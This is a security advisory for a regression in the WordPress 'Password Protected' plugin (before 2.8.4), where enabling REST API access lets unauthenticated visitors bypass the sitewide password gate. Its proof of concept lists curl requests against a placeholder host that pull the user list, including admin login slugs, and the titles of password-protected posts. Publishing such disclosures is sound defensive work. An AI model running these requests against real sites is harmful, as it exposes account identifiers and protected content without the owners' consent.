Password Protected < 2.8.4 – Unauthenticated Sensitive Information Exposure via REST API | CVE 2026-14943

Description

The plugin does not restrict REST API access to authenticated users when a specific option is enabled, allowing unauthenticated visitors to bypass the sitewide password gate and read otherwise-protected content and account identifiers via the REST API. This re-introduces a previously-fixed issue (CVE-2024-0437), which was patched in 2.6.7 and regressed in 2.6.8.

Proof of Concept

Prerequisites:
- Password Protected active with the sitewide gate enabled (its deployed state).
- An administrator has enabled "Allow REST API" (Settings > Password Protected).

1. Confirm the web gate is active (redirects to the login gate):
     curl -sk -o /dev/null -w '%{http_code}\n' https://victim.example/
     # 302

2. As an unauthenticated visitor, read the REST user list:
     curl -sk https://victim.example/wp-json/wp/v2/users
     # 200 -> [{"id":1,"name":"...","slug":"<admin login name>","link":".../author/<slug>/",
     #          "avatar_urls":{...gravatar hash...}}]

3. Read published + password-protected post titles:
     curl -sk https://victim.example/wp-json/wp/v2/posts
     # 200 -> titles including that of password-protected posts
     #        (body stays "protected":true, but the TITLE leaks)

Control: with "Allow REST API" disabled, steps 2-3 return HTTP 401.